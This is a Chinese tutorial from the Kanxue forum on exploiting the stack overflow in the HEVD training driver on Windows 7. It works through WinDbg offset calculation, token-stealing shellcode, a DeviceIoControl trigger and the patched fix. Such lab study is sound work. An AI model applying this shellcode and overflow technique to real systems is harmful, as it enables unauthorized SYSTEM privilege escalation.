查看原文
其他

Windows Kernel Exploit 内核漏洞学习(2)-内核栈溢出

Thunder J 看雪学院 2019-09-17

这是 Windows kernel exploit 系列的第二部分,这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ,看此文章之前你需要有以下准备

  • Windows 7 x86 sp1虚拟机

  • 配置好windbg等调试工具,建议配合VirtualKD使用

  • HEVD+OSR Loader配合构造漏洞环境



漏洞原理



栈溢出原理


栈溢出是系列漏洞中最为基础的漏洞,如果你是一个 pwn 选手,第一个学的就是简单的栈溢出,栈溢出的原理比较简单,我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控,导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置,比如 ebp,返回地址等。


如果我们精心构造好返回地址的话,程序就会按照我们指定的流程继续运行下去,原理很简单,但是实际用起来并不是那么容易的,在Windows的不断更新过程中,也增加了许多对于栈溢出的安全保护机制。



漏洞点分析


我们在IDA中打开源码文件StackOverflow.c源码文件这里下载查看一下主函数TriggerStackOverflow,这里直接将 Size 传入memcpy函数中,未对它进行限制,就可能出现栈溢出的情况,另外,我们可以发现 KernelBuffer 的 Size 是 0x800。


int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}


我们现在差的就是偏移了,偏移的计算是在windbg中调试得到的,我们需要下两处断点来找偏移,第一处是在TriggerStackOverflow函数开始的地方,第二处是在函数中的memcpy函数处下断点。


kd> bl //查看所有断点
0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f
1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow
kd> g //运行
Breakpoint 1 hit //断在了第一处
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> r //查看寄存器
eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948
eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
8c6d162a 680c080000 push 80Ch
kd> dd esp //查看堆栈情况
91a03ad4 8c6d1718 0032f018 00000907 91a03afc
91a03ae4 8c6d2185 886ad948 886ad9b8 86736268
91a03af4 88815378 00000000 91a03b14 83e84593
91a03b04 88815378 886ad948 886ad948 88815378
91a03b14 91a03b34 8407899f 86736268 886ad948
91a03b24 886ad9b8 00000094 04a03bac 91a03b44
91a03b34 91a03bd0 8407bb71 88815378 86736268
91a03b44 00000000 91a03b01 44c7b400 00000002


上面的第一处断点可以看到返回地址是0x91a03ad4。


kd> g
Breakpoint 0 hit
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)
kd> dd esp
91a03274 91a032b4 0032f018 00000907 8c6d25be
91a03284 8c6d231a 00000800 8c6d2338 91a032b4
91a03294 8c6d23a2 00000907 8c6d23be 0032f018
91a032a4 1dcd205c 886ad948 886ad9b8 8c6d2da2
91a032b4 00000000 00000000 00000000 00000000
91a032c4 00000000 00000000 00000000 00000000
91a032d4 00000000 00000000 00000000 00000000
91a032e4 00000000 00000000 00000000 00000000
kd> r
eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000
eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)


上面的第二处断点可以看到0x91a032b4是我们memcpy的第一个参数,也就是KernelBuffer,我们需要覆盖到返回地址也就是偏移为 0x820。


>>> hex(0x91a03ad4-0x91a032b4)
'0x820'



漏洞利用



利用思路


知道了偏移,我们只需要将返回地址覆盖为我们的shellcode的位置即可提权,只是这里提权的代码需要考虑到栈的平衡问题,在TriggerStackOverflow函数开始的地方,我们下断点观察发现,ebp的值位置在91a3bae0,也就是值为91a3bafc


kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> r
eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8
eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
HEVD!TriggerStackOverflow:
0008:8c6d162a 680c080000 push 80Ch
kd> dd esp
91a3bad4 8c6d1718 001ef230 00000824 (91a3bafc) => ebp
91a3bae4 8c6d2185 885c54b8 885c5528 88573cc0
91a3baf4 88815378 00000000 91a3bb14 83e84593
91a3bb04 88815378 885c54b8 885c54b8 88815378
91a3bb14 91a3bb34 8407899f 88573cc0 885c54b8
91a3bb24 885c5528 00000094 04a3bbac 91a3bb44
91a3bb34 91a3bbd0 8407bb71 88815378 88573cc0
91a3bb44 00000000 83ede201 00023300 00000002


当我们进入shellcode的时候,我们的ebp被覆盖为了0x41414141,为了使堆栈平衡,我们需要将ebp重新赋值为97a8fafc


kd>
Break instruction exception - code 80000003 (first chance)
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> r
eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0
eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282
StackOverflow!ShellCode+0x3:
0008:012c1003 cc int 3
kd> dd esp
97a8fad4 885b52f0 885b5360 8c6d2da2 97a8fafc
97a8fae4 8c6d2185 885b52f0 885b5360 88573cc0
97a8faf4 88815378 00000000 97a8fb14 83e84593
97a8fb04 88815378 885b52f0 885b52f0 88815378
97a8fb14 97a8fb34 8407899f 88573cc0 885b52f0
97a8fb24 885b5360 00000094 04a8fbac 97a8fb44
97a8fb34 97a8fbd0 8407bb71 88815378 88573cc0
97a8fb44 00000000 83ede201 00023300 00000002



利用代码


利用思路中,我们介绍了为什么要堆栈平衡,下面是具体的shellcode部分。


VOID ShellCode()
{
//__debugbreak(); // 运行到这里程序会自动断下来等待windbg的调试
__asm
{
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4

find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid

mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
pop ebp
ret 8
}
}


构造并调用shellcode部分。


char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);


具体的代码参考这里,最后提权成功。




补丁思考


我们先查看源文件 StackOverflow.c 中补丁的措施,区别很明显,不安全版本的RtlCopyMemory函数中的第三个参数没有进行控制,直接将用户提供的 Size 传到了函数中,安全的补丁就是对RtlCopyMemory的参数进行严格的设置。


#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);


后记:


通过这次的练习感受到Windows内核中和Linux中栈溢出的区别,在Linux中,如果我们想要栈溢出,会有canary,ASLR,NX等等保护需要我们去绕过,如果平台上升到win10,那么就会有更多全新的安全机制需要去考虑。




- End -



看雪ID:Thunder J  

https://bbs.pediy.com/user-825245.htm  



本文由看雪论坛 Thunder J 原创

转载请注明来自看雪社区



往期热门回顾

1、记一次纯脚本载荷攻击的样本分析

2、路由器基本调试一 UART定位

3、MuddyWater(污水)APT组织针对塔吉克斯坦的攻击活动的分析






公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com




      ↙点击下方“阅读原文”,查看更多干货

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存